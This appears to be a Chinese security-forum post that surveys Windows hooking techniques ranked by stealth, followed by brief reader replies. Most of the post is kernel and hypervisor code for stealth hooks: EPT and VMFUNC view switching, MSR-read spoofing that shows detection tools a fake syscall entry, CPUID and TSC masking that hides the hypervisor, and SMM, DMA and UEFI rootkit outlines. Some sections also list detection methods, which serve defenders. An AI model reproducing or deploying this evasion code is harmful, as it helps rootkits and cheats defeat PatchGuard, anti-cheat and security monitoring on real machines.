    while (entry != &g_hookList) {
        EPT_HOOK_ENTRY* hook = CONTAINING_RECORD(entry, EPT_HOOK_ENTRY, listEntry);
        hook->pEptPte->ReadAccess = 1;
        hook->pEptPte->WriteAccess = 1;
        hook->pEptPte->ExecuteAccess = 0;
        hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
        entry = entry->Flink;
    }
    
    // 关闭 MTF
    ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
    __vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls & ~VMX_PROC_CTL_MONITOR_TRAP_FLAG);
    
    InveptSingleContext(vcpu->eptp);
}
// ===== VMCS 配置:启用 VMFUNC =====

void EnableVmfuncInVmcs() {
    // 启用 Secondary Proc-Based Controls 中的 VMFUNC bit
    ULONG64 secondary = __vmx_vmread(VMCS_SECONDARY_PROC_BASED_CONTROLS);
    secondary |= (1ULL << 13); // Enable VMFUNC
    __vmx_vmwrite(VMCS_SECONDARY_PROC_BASED_CONTROLS, secondary);
    
    // VMFUNC Controls: 只启用 function 0 (EPTP Switching)
    __vmx_vmwrite(VMCS_VMFUNC_CONTROLS, 1ULL);
    
    // 配置 EPTP List(最多 512 个 EPTP)
    DECLSPEC_ALIGN(PAGE_SIZE) ULONG64 eptpList[512] = {0};
    
    eptpList[0] = g_cleanEptp.Value;    // Index 0: 干净视图(默认)
    eptpList[1] = g_hookedEptp.Value;   // Index 1: Hook 视图
    
    PHYSICAL_ADDRESS eptpListPhys = MmGetPhysicalAddress(eptpList);
    __vmx_vmwrite(VMCS_EPTP_LIST_ADDRESS, eptpListPhys.QuadPart);
}

// ===== Guest 端切换代码 =====

// 切换到 Hook 视图(Guest 内核代码调用)
__forceinline void SwitchToHookView() {
    // VMFUNC: EAX=0 (function=EPTP Switching), ECX=1 (EPTP index)
    __asm {
        xor eax, eax    // function 0
        mov ecx, 1      // switch to index 1
        _emit 0x0F      // VMFUNC opcode
        _emit 0x01
        _emit 0xC4
    }
}

// 切换到干净视图
__forceinline void SwitchToCleanView() {
    __asm {
        xor eax, eax
        xor ecx, ecx    // switch to index 0
        _emit 0x0F
        _emit 0x01
        _emit 0xC4
    }
}

// ===== 高级应用:自动切换的 Hook Trampoline =====
// 在 Hook 函数入口自动切换视图,退出时切换回来

// 汇编 Trampoline:
// 1. 进入时切换到干净视图(这样读内存看到的是原始代码)
// 2. 调用真正的 Hook 处理函数
// 3. 退出时切换回 Hook 视图
// 4. 跳转到原始函数(在 Hook 视图中执行原始代码的 trampoline)

BYTE g_vmfuncTrampoline[] = {
    // Switch to clean view (index 0)
    0x31, 0xC0,                         // xor eax, eax
    0x31, 0xC9,                         // xor ecx, ecx
    0x0F, 0x01, 0xC4,                   // vmfunc
    
    // Call hook handler (address patched at runtime)
    0xFF, 0x15, 0x02, 0x00, 0x00, 0x00, // call [rip+2]
    0xEB, 0x08,                         // jmp over address
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // hook_handler address
    
    // Switch back to hook view (index 1)
    0x31, 0xC0,                         // xor eax, eax
    0xB9, 0x01, 0x00, 0x00, 0x00,       // mov ecx, 1
    0x0F, 0x01, 0xC4,                   // vmfunc
    
    // Jump to original function trampoline (address patched)
    0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // original_trampoline address
};
// MSR Bitmap 结构(4KB 页,4个区域各 1KB)
// 0x000-0x3FF: Low MSRs read  (MSR 0x00000000 - 0x00001FFF)
// 0x400-0x7FF: High MSRs read (MSR 0xC0000000 - 0xC0001FFF)
// 0x800-0xBFF: Low MSRs write
// 0xC00-0xFFF: High MSRs write

DECLSPEC_ALIGN(PAGE_SIZE) UCHAR g_msrBitmap[PAGE_SIZE] = {0};

void SetupMsrBitmap() {
    RtlZeroMemory(g_msrBitmap, PAGE_SIZE);
    
    // 拦截 IA32_LSTAR 的读取(让检测工具看到假值)
    // IA32_LSTAR = 0xC0000082
    // 在 High MSR read bitmap 中: offset = 0x400 + (0x82 / 8) = 0x410, bit = 0x82 % 8 = 2
    g_msrBitmap[0x410] |= (1 << 2);  // RDMSR 触发 VM-Exit
    
    // 也可以拦截写入
    g_msrBitmap[0xC10] |= (1 << 2);  // WRMSR 触发 VM-Exit
    
    // 拦截 IA32_DEBUGCTL (用于隐藏调试特性)
    // 0x1D9 → Low MSR read: offset = 0x000 + (0x1D9 / 8) = 0x3B, bit = 0x1D9 % 8 = 1
    g_msrBitmap[0x3B] |= (1 << 1);
    
    // 写入 VMCS
    PHYSICAL_ADDRESS msrBitmapPhys = MmGetPhysicalAddress(g_msrBitmap);
    __vmx_vmwrite(VMCS_MSR_BITMAP_ADDRESS, msrBitmapPhys.QuadPart);
}

// VM-Exit Handler: 伪造 MSR 值
void HandleMsrRead(PVMX_VCPU vcpu) {
    ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
    ULONG64 realValue;
    
    switch (msrIndex) {
        case 0xC0000082: // IA32_LSTAR
            // 返回原始的 KiSystemCall64 地址(即使实际已被修改)
            realValue = g_originalKiSystemCall64;
            break;
            
        case 0x1D9: // IA32_DEBUGCTL
            // 隐藏任何调试相关设置
            realValue = 0;
            break;
            
        default:
            realValue = __readmsr(msrIndex);
            break;
    }
    
    vcpu->guestState.Rax = (ULONG)(realValue & 0xFFFFFFFF);
    vcpu->guestState.Rdx = (ULONG)(realValue >> 32);
    AdvanceGuestRip(vcpu);
}

// VM-Exit Handler: 拦截 MSR 写入
void HandleMsrWrite(PVMX_VCPU vcpu) {
    ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
    ULONG64 newValue = ((ULONG64)vcpu->guestState.Rdx << 32) | (vcpu->guestState.Rax & 0xFFFFFFFF);
    
    switch (msrIndex) {
        case 0xC0000082: // IA32_LSTAR
            // 阻止修改(或记录后放行)
            // 如果放行,更新我们的记录
            g_originalKiSystemCall64 = newValue;
            __writemsr(msrIndex, newValue);
            break;
            
        default:
            __writemsr(msrIndex, newValue);
            break;
    }
    AdvanceGuestRip(vcpu);
}
// ===== CPUID 伪装 =====
void HandleCpuid(PVMX_VCPU vcpu) {
    int cpuInfo[4];
    __cpuidex(cpuInfo, (int)vcpu->guestState.Rax, (int)vcpu->guestState.Rcx);
    
    ULONG leaf = (ULONG)vcpu->guestState.Rax;
    
    switch (leaf) {
        case 0x1:
            // 清除 Hypervisor Present bit (ECX bit 31)
            cpuInfo[2] &= ~(1 << 31);
            break;
            
        case 0x40000000:
        case 0x40000001:
        case 0x40000002:
        case 0x40000003:
        case 0x40000004:
        case 0x40000005:
        case 0x40000006:
            // 所有 Hypervisor 扩展 leaf 返回 0
            cpuInfo[0] = cpuInfo[1] = cpuInfo[2] = cpuInfo[3] = 0;
            break;
            
        case 0x0:
            // 确保 max leaf 不包含 0x40000000 范围
            if (cpuInfo[0] > 0x20) cpuInfo[0] = 0x20;
            break;
    }
    
    vcpu->guestState.Rax = cpuInfo[0];
    vcpu->guestState.Rbx = cpuInfo[1];
    vcpu->guestState.Rcx = cpuInfo[2];
    vcpu->guestState.Rdx = cpuInfo[3];
    AdvanceGuestRip(vcpu);
}

// ===== TSC 补偿(隐藏 VM-Exit 延迟)=====
// VM-Exit + VM-Entry 大约消耗 1000-3000 TSC cycles
// 如果检测工具在 VM-Exit 前后读 TSC 对比,可以发现异常延迟

// 方案:在 VMCS 中设置 TSC Offset,每次 VM-Exit 后补偿消耗的时间
typedef struct _TSC_STATE {
    ULONG64 lastExitTsc;      // 上次 VM-Exit 时的 TSC
    ULONG64 totalOffset;      // 累积需要减去的 TSC
} TSC_STATE;

TSC_STATE g_tscState[256] = {0}; // 每个 CPU 一个

void HandleVmExit(PVMX_VCPU vcpu) {
    ULONG64 exitTsc = __rdtsc();
    
    // ... 处理各种 VM-Exit ...
    
    ULONG64 entryTsc = __rdtsc();
    ULONG64 exitCost = entryTsc - exitTsc;
    
    // 将这次 VM-Exit 的时间消耗累加到 TSC Offset
    g_tscState[vcpu->cpuIndex].totalOffset += exitCost;
    
    // 更新 VMCS TSC Offset(Guest 读到的 TSC = 实际 TSC - offset)
    __vmx_vmwrite(VMCS_TSC_OFFSET, -(INT64)g_tscState[vcpu->cpuIndex].totalOffset);
}

// 还需要处理 RDTSC/RDTSCP 的 VM-Exit(如果启用了 RDTSC exiting)
void HandleRdtsc(PVMX_VCPU vcpu) {
    ULONG64 tsc = __rdtsc() - g_tscState[vcpu->cpuIndex].totalOffset;
    vcpu->guestState.Rax = (ULONG)(tsc & 0xFFFFFFFF);
    vcpu->guestState.Rdx = (ULONG)(tsc >> 32);
    AdvanceGuestRip(vcpu);
}
权限层级:
Ring 3 (User) < Ring 0 (Kernel) < Ring -1 (Hypervisor) < Ring -2 (SMM)

SMM 的超能力:
- 拥有独立的、不可被访问的内存(SMRAM)
- 可以任意修改任何 CPU 寄存器状态
- 执行期间所有中断被屏蔽
- 独立的代码空间,操作系统不可见/不可访问
- 从 SMRAM 返回时 CPU 恢复之前的状态,无法感知 SMM 曾执行
// SMM 攻击需要固件层面的漏洞利用
// 一旦在 SMRAM 中植入代码:

void SmmHookHandler(SMM_SAVE_STATE* saveState) {
    // 获取被暂停的操作系统状态
    ULONG64 kernelCr3 = saveState->Cr3;
    ULONG64 guestRip = saveState->Rip;
    
    // 直接通过物理地址修改内核内存(绕过所有保护)
    // 因为 SMM 可以直接访问所有物理内存
    PVOID targetPhysAddr = TranslateVaToPhys(kernelCr3, targetVa);
    
    // 修改内核代码/数据
    WritePhysicalMemory(targetPhysAddr, hookCode, hookSize);
    
    // 完成后返回,CPU 恢复正常执行
    // 操作系统和 Hypervisor 完全无法感知
}

// 触发 SMI 的方式(周期性执行 Hook 逻辑):
// - 利用 ACPI 定时器触发 SMI
// - 写入特定 I/O 端口触发 SMI (outb 0xB2, value)
// - 利用 USB controller 触发 Legacy USB SMI
// 在恶意 PCIe 设备的固件中:
void DmaHookInstall() {
    // 扫描物理内存,定位 Windows 内核
    PHYSICAL_ADDRESS ntBase = ScanForKernelBase();
    
    // 定位目标函数(通过特征码匹配)
    PHYSICAL_ADDRESS targetFunc = FindFunctionBySignature(ntBase);
    
    // 通过 DMA 直接写入物理内存
    // 绕过 CPU 的 MMU/EPT,没有任何权限检查
    DmaWrite(targetFunc, hookCode, hookCodeSize);
    
    // 或者更隐蔽:修改页表来实现类似 PTE Hook 的效果
    PHYSICAL_ADDRESS pteAddr = CalculatePtePhysAddr(targetFunc);
    DmaWrite(pteAddr, &modifiedPte, sizeof(MMPTE));
}
1. 获取 SPI Flash 写入权限(利用固件漏洞或物理访问)
2. 在 UEFI DXE 阶段植入恶意模块
3. 恶意模块在 OS 加载时注入代码到 Windows Boot Manager
4. Boot Manager 加载内核时注入代码到内核加载器
5. 加载的内核带有预装 Hook(此时 Secure Boot/PatchGuard 尚未初始化)
2001-2006 (XP 时代 - 无保护)
│  IAT/EAT Hook → Inline Hook → SSDT Hook → IDT Hook
│  → 没安全机制,想做什么做什么
│
2006-2012 (Vista/7 - PatchGuard 登场)
│  PatchGuard v1 出现 → SSDT/IDT Hook 阵亡
│  DKOM 兴起 → MSR Hook → PG 绕过混战
│  → 猫鼠游戏开始
│
2012-2015 (Win8/8.1 - DSE + PG 强化)
│  驱动签名强制 → BYOVD 攻击兴起
│  Infinity Hook → Kernel Callback 大行其道
│  → 合法接口开始吃香
│
2015-2018 (Win10 - HVCI + VBS)
│  HVCI 禁止动态代码执行 → EPT Hook 崛起
│  PTE Base 随机化 → PTE Hook 难度上升
│  → 军备竞赛进入虚拟化时代
│
2018-2022 (鼎盛期)
│  EPT Hook 框架成熟(HyperHide、hvpp、SimpleSvm)
│  VMFUNC EPTP Switching 实用化
│  反作弊开始部署 Hypervisor 检测
│  → 攻守双方对等博弈
│
2022-2026 (当前)
│  VBS + Credential Guard 全面部署
│  虚拟化嵌套检测
│  时序侧信道对抗
│  UEFI Rootkit 商业化(BlackLotus)
│  → 战场延伸到固件层
│
未来趋势:
│  Intel TDX / AMD SEV → 硬件强制隔离
│  ARM CCA (Confidential Compute Architecture)
│  当硬件不再信任软件 → Hypervisor Hook 的末日?

从最容易被检测的用户态 Hook,到理论上无法被静态发现的 Hypervisor 级 Hook,按隐蔽性从低到高排列。每种技术均提供完整可编译的实现代码。

维度 普通 EPT Hook VMFUNC EPTP Switching
视图切换方式 EPT Violation → VM-Exit VMFUNC 指令(无 VM-Exit)
性能开销 每次切换 ~1000-3000 cycles ~100 cycles
时序攻击风险 有(VM-Exit 延迟可测量) 极低(指令级速度)
CPU 要求 VT-x + EPT Haswell+ (2013+)
复杂度 中等 高(需要维护多套 EPT)
# 技术 层级 隐蔽性 PatchGuard 修改目标代码 适用场景
1 IAT Hook Ring 3 ★☆☆☆☆ N/A 否(改表) 最基础的用户态拦截
2 EAT Hook Ring 3 ★☆☆☆☆ N/A 否(改表) 劫持动态获取的函数
3 Inline Hook Ring 3 ★★☆☆☆ N/A 通用函数 Hook
4 VEH/HWBP Hook Ring 3 ★★★☆☆ N/A 反调试场景(4个限制)
5 PAGE_GUARD Hook Ring 3 ★★☆☆☆ N/A 概念性方案(性能极差)
6 TLS Callback Ring 3 ★★☆☆☆ N/A 早期初始化 Hook
7 Hotpatch Hook Ring 3 ★★☆☆☆ N/A 部分 利用微软预留空间
8 Instrumentation Callback Ring 3 ★★★☆☆ N/A 全局 syscall 返回拦截
9 Syscall Stub Patch Ring 3 ★★☆☆☆ N/A 对抗直接 syscall
10 SetWindowsHookEx Ring 3 ★☆☆☆☆ N/A 全局消息钩子 + DLL 注入
11 AppInit_DLLs Ring 3 ★☆☆☆☆ N/A 注册表全局 DLL 注入
12 IFEO Ring 3 ★★☆☆☆ N/A 映像劫持 / Verifier 注入
13 IME 注入 Ring 3 ★★☆☆☆ N/A 输入法 DLL 加载到 GUI 进程
14 Shim Engine Ring 3 ★★★☆☆ N/A (内存) SDB 内存补丁 / DLL 注入
15 COM Hijacking Ring 3 ★★★☆☆ N/A 注册表 COM 对象劫持
16 Winsock LSP Ring 3 ★★☆☆☆ N/A 全局网络流量拦截
17 DLL Hijacking Ring 3 ★★☆☆☆ N/A DLL 搜索顺序劫持
18 SSDT Hook Ring 0 ★★☆☆☆ 必杀 否(改表) XP/7 时代主流
19 IDT Hook Ring 0 ★★☆☆☆ 必杀 否(改表) 拦截中断/异常
20 IRP Hook Ring 0 ★★★☆☆ 不直接 否(改指针) 文件/设备过滤
21 DKOM Ring 0 ★★★☆☆ 部分检测 否(改链表) 隐藏进程/驱动
22 MSR Hook Ring 0 ★★☆☆☆ 监控 否(改MSR) 全局 syscall 拦截
23 GDT/Call Gate Ring 0 ★★☆☆☆ 监控 否(改描述符) Ring3→Ring0 跳板
24 Kernel Callback Ring 0 ★☆☆☆☆ 不触发 官方合法 API
25 Infinity Hook Ring 0 ★★★★☆ 不触发 否(改ETW指针) 绕 PG 拦截所有 syscall
26 PG Bypass + Inline Ring 0 ★★★☆☆ 绕过 高风险但有效
27 WFP Callout Ring 0 ★☆☆☆☆ 不触发 网络数据包过滤
28 PTE Hook Ring 0 ★★★★☆ 部分检测 否(改PTE) 代码页重定向
29 EPT Hook Ring -1 ★★★★★ 无效 终极内核 Hook
30 VMFUNC EPTP Switch Ring -1 ★★★★★+ 无效 零 VM-Exit 视图切换
31 EPT + MSR Bitmap Ring -1 ★★★★★ 无效 代码+数据双伪装
32 SMM Hook Ring -2 ★★★★★★ 无效 固件级 固件级后门
33 DMA Attack 硬件 ★★★★★★ 无效 物理级 外部设备直接改内存
34 UEFI Rootkit 固件 ★★★★★★ 无效 固件级 持久化后门
  • 只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT
  • 每个模块有独立的 IAT,需要逐一修改
  • 任何内存扫描工具一眼就能看到
  • 只对后续调用 GetProcAddress 的模块有效
  • 已经缓存了函数地址的模块不受影响
  • 同样是从内存修改,扫描即暴露
  • 通用性最强,可以 Hook 任何函数
  • 不管调用方式(IAT/EAT/动态获取)都能拦截
  • Microsoft Detours 库提供了工业级实现
  • 函数头部被直接修改,任何完整性校验都能发现
  • 需要处理多线程竞态(Hook 安装瞬间其他线程正在执行目标函数)
  • x64 绝对跳转指令长达 14 字节,可能覆盖多条原始指令
  • 指令重定位是最复杂的部分,生产环境建议使用 Zydis/distorm
  • 不修改目标函数的任何字节,完整性校验通过
  • 但 Debug Registers 可以被读取(GetThreadContext)
  • VEH 处理器可被枚举(NtQueryInformationProcess 或直接遍历 LdrpVectorHandlerList)
  • 零字节修改,目标函数完全干净
  • 硬件断点由 CPU 触发,不需要修改任何内存
  • 硬件断点只有 4 个(DR0-DR3),最多同时 Hook 4 个地址
  • 性能开销:每次触发需要进异常处理流程
  • 反作弊可以清空 Debug Registers 或设置 ThreadHideFromDebugger
  • 新创建的线程不会自动继承 DR 设置
  • 不修改代码,但改变了页面属性
  • VirtualQuery 可以发现页面有 PAGE_GUARD 标志
  • 同页上其他函数的调用也会触发异常,性能极差
  • 整个页面(4KB)内的任何访问都会触发异常
  • 如果目标函数所在页被频繁访问,性能几乎不可用
  • 实际场景中几乎不使用,仅作为概念验证
  • PE 文件的 TLS Directory 可以被静态分析
  • TLS Callback 数组的地址在 PE Header 中明确标注
  • 但执行时机很早,某些检测机制可能还未初始化
  • 在程序最早期安装 Hook(先于 CRT 初始化)
  • 反调试(在调试器完全 attach 前检测)
  • 配合 VEH Hook,在每个新线程上自动设置硬件断点
  • Windows x64 系统函数不再使用 mov edi, edi 前导
  • 主要适用于 32 位代码或旧版系统
  • 现代 Windows 的 Hotpatch 机制已经完全不同(使用 /hotpatch 编译选项生成 2字节 NOP)
  • 不修改任何函数代码
  • 但可以通过 NtQueryInformationProcess 查询是否设置了 Instrumentation Callback
  • 内核中 EPROCESS.InstrumentationCallback 字段直接可读
  • 某些反作弊直接清零该字段
  • 一次设置,拦截所有系统调用返回
  • 不需要知道具体函数地址
  • 纯用户态操作,不需要内核驱动
  • 只能在 syscall 返回路径上拦截,无法拦截普通函数调用
  • 防递归处理很关键(回调内的 syscall 会再次触发回调)
  • 需要 SeDebugPrivilege 来设置其他进程的回调
  • Windows XP/7 时代的内核 Hook 之王
  • 几乎所有安全软件(杀毒/防火墙/HIPS)都用过
  • Win8+ 之后被 PatchGuard 彻底封杀出历史舞台
  • PatchGuard 不直接检测驱动的 MajorFunction 表
  • 但安全软件可以对比驱动对象的 MajorFunction 指针是否指向该驱动的地址范围
  • Minifilter 框架是官方替代方案,更难被检测
  • 进程虽然从链表摘除,但通过 CID 表(PspCidTable)、线程调度队列仍可找到
  • PatchGuard 会检查 PsActiveProcessHead 链表完整性
  • 内存取证工具可以通过物理内存扫描 EPROCESS 的 Pool Tag 发现隐藏进程
  • 威力无比——一个 Hook 拦截所有系统调用
  • 但 PatchGuard 直接检查 IA32_LSTAR 值
  • rdmsr 指令在 Ring 0 可以直接读取,非常容易检测
  • 使用完全合法的 API,PatchGuard 不会干扰
  • 但所有回调数组都可被枚举(PspCreateProcessNotifyRoutine 等)
  • 发现未知模块注册的回调 = 可疑
  • 这是安全软件最常用的方式
  • 不修改 SSDT,不修改 MSR,不修改 IDT
  • 只修改了 ETW 系统内部的一个函数指针
  • PatchGuard 不监控该位置(不是关键结构)
  • 但微软已在新版 Windows 中加固了某些 Infinity Hook 变种
  • 安全软件可以通过检查 ETW 相关全局变量发现异常
  • 绕过 PatchGuard
  • 能拦截所有 syscall
  • 性能开销小(ETW 日志本来就在关键路径上)
  • 不需要复杂的 Hypervisor 支持
  • 绕过 PatchGuard 后 Inline Hook 本身仍可通过代码完整性校验对比发现
  • 时间窗口方案有风险:PG 的定时有随机性
  • 是猫鼠游戏中的一个折中方案
  • 完全合法的 API,所有安全软件都用这个
  • 通过 FwpmFilterEnum/FwpmCalloutEnum 可以枚举所有注册的过滤器
  • 需要签名驱动
  • 不修改任何代码字节(从虚拟地址读取看到的还是原始内容?不一定,取决于实现方式)
  • 单纯 PTE Hook 读和执行走同一个物理页,代码完整性校验会失败
  • 但 PTE 条目的值被修改了,通过遍历页表可以发现 PFN 异常
  • PatchGuard 不直接校验所有 PTE,但某些关键页面的 PTE 在监控范围内
  • Windows 10 RS1+ 的 PTE base 随机化增加了定位难度
  • 操作系统读取目标函数时,看到的是完全干净的原始代码
  • PatchGuard 所有完整性校验读取都被 EPT 重定向到干净页
  • CRC 校验、memcmp 对比、内存扫描全部通过
  • 唯一理论检测方式:时序分析(EPT Violation 导致的微小延迟)
  • 没有 VM-Exit,时序攻击基本无效
  • CPUID 可以被拦截来隐藏 VMFUNC 支持
  • 目前没有已知的可靠检测方法
  • 检测工具用 rdmsr 读 IA32_LSTAR 看到的是假值
  • 配合 EPT Hook,代码也看到是假的
  • 双重伪装:代码伪装 + 数据伪装
  • CPUID 看不到 Hypervisor
  • TSC 差值测量看不到异常延迟
  • 几乎无法通过软件手段检测
  • SMRAM 对操作系统完全不可见
  • CPU 在 SMM 期间外部不响应,没有时间线索暴露
  • 即使 Hypervisor 也在 SMI 期间被暂停
  • 唯一检测方式:硬件调试器(JTAG)、固件签名验证(Secure Boot)
  • PCIe 恶意设备(伪装成网卡等)
  • Thunderbolt 外接设备
  • FireWire 设备(旧系统)
  • 恶意 NIC 固件(如 Intel AMT 漏洞利用)
  • IOMMU (VT-d / AMD-Vi):为 DMA 设备创建独立地址空间
  • Kernel DMA Protection (Windows 10 1803+)
  • Thunderbolt Security Level 设置
  • LoJax (2018):第一个野外发现的 UEFI rootkit
  • MosaicRegressor (2020):针对外交官的 UEFI 植入物
  • CosmicStrand (2022):修改 UEFI 固件的持久化攻击
  • BlackLotus (2023):绕过 Secure Boot 的 UEFI bootkit
  • 重装系统无法清除
  • 操作系统层面几乎不可检测
  • 需要专用固件扫描工具(如 CHIPSEC、UEFI Toolkit)
  • Secure Boot 可以阻止未签名固件(但有时也能被绕过)
  • 用户态被拦 → 进内核
  • 内核被 PatchGuard 监控 → 绕过 PatchGuard
  • 内核结构都不能碰了 → 去 Hypervisor
  • Hypervisor 被检测 → 去 SMM / UEFI
  1. 从磁盘重新映射一份干净 ntdll
  2. 直接从干净副本中提取 SSN
  3. 用自己的 syscall 汇编直接调用内核,完全绕过被 Hook 的 ntdll
  1. GetWindowsHookEx 枚举当前安装的全局钩子
  2. 检查进程中是否加载了非预期的 DLL
  3. 监控 SetWindowsHookEx 调用(通过 API Monitor 或 ETW)
  4. 低级钩子(WH_KEYBOARD_LL/WH_MOUSE_LL)不注入 DLL,但需要消息循环保持活跃
  1. 监控注册表键 AppInit_DLLs 和 LoadAppInit_DLLs 的变更
  2. 启用 Secure Boot + RequireSignedAppInit_DLLs 彻底阻止
  3. Process Monitor 观察 user32.dll 加载时的注册表查询
  1. 监控 IFEO 注册表键的创建和修改(Sysmon Event ID 12/13)
  2. 检查所有 IFEO 子键是否有 Debugger、VerifierDlls、MonitorProcess 等可疑值
  3. 应用白名单:仅允许已知调试器(如 vsjitdebugger.exe)作为 Debugger 值
  1. 枚举 Keyboard Layouts 注册表键,对比系统默认输入法列表
  2. 检查 IME DLL 是否有有效的数字签名
  3. 监控 imm32.dll 的 ImmInstallIME / LoadKeyboardLayout 调用
  4. TSF 注入检测:枚举 COM 注册的 Text Input Processor
  1. 枚举 HKLM\...\AppCompatFlags\InstalledSDB
  2. 检查 %windir%\AppPatch\Custom 目录
  3. 监控 sdbinst.exe 调用
  4. sdb2xml 反编译
  1. 对比 HKCU vs HKLM CLSID 键发现覆盖
  2. InprocServer32 DLL 签名验证
  3. Sysmon Event 12/13 监控 CLSID 修改
  4. 定期扫描 Abandoned COM Keys
  5. 使用 OleView 或 COM Hijack 检测工具审计
  1. netsh winsock show catalog 查看已安装 LSP
  2. 扫描 Protocol_Catalog9 注册表异常 DLL
  3. netsh winsock reset 重置(移除所有第三方 LSP)
  4. 现代系统应使用 WFP(内核级)替代
  1. 应用程序自身目录
  2. System32
  3. System(16位兼容)
  4. Windows 目录
  5. 当前工作目录(SafeDllSearchMode 开启时优先级降低)
  6. PATH 环境变量目录
  1. 对比模块加载路径与预期系统路径
  2. 扫描应用目录中与系统 DLL 同名的可疑文件
  3. DLL 数字签名验证(合法系统 DLL 都有微软签名)
  4. 启用 SafeDllSearchMode(默认开启)降低 CWD 搜索优先级
  5. HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 保护核心 DLL
  6. 使用 Process Monitor 观察 DLL 加载失败路径(NAME NOT FOUND)
  • 只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT
  • 每个模块有独立的 IAT,需要逐一修改
  • 任何内存扫描工具一眼就能看到
  • 只对后续调用 GetProcAddress 的模块有效
  • 已经缓存了函数地址的模块不受影响
  • 同样是从内存修改,扫描即暴露
  • 通用性最强,可以 Hook 任何函数

  • 传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

    收藏
    免费 8
    支持
    分享
    最新回复 (6)
    雪    币: 3731
    活跃值: (12697)
    能力值: (RANK:385 )
    在线值:
    发帖
    回帖
    粉丝
    2
    感谢整理.掌握了之后. 你就是HOOK小王子.
    17小时前
    0
    雪    币: 0
    能力值: ( LV1,RANK:0 )
    在线值:
    发帖
    回帖
    粉丝
    3
    nice
    16小时前
    0
    雪    币: 284
    活跃值: (4535)
    能力值: ( LV5,RANK:75 )
    在线值:
    发帖
    回帖
    粉丝
    4
    感谢分享,666
    13小时前
    0
    雪    币: 4919
    活跃值: (5592)
    能力值: ( LV4,RANK:50 )
    在线值:
    发帖
    回帖
    粉丝
    5
    感谢分享,总结得很全。
    13小时前
    0
    雪    币: 9223
    活跃值: (4064)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    6
    感谢分享,深受教育。
    5小时前
    0
    雪    币: 6149
    活跃值: (7695)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    7
    是的要对抗这种检查,只有未来intel自己出手引入新机制对抗ept hook。
    5小时前
    0
    游客
    登录 | 注册 方可回帖
    返回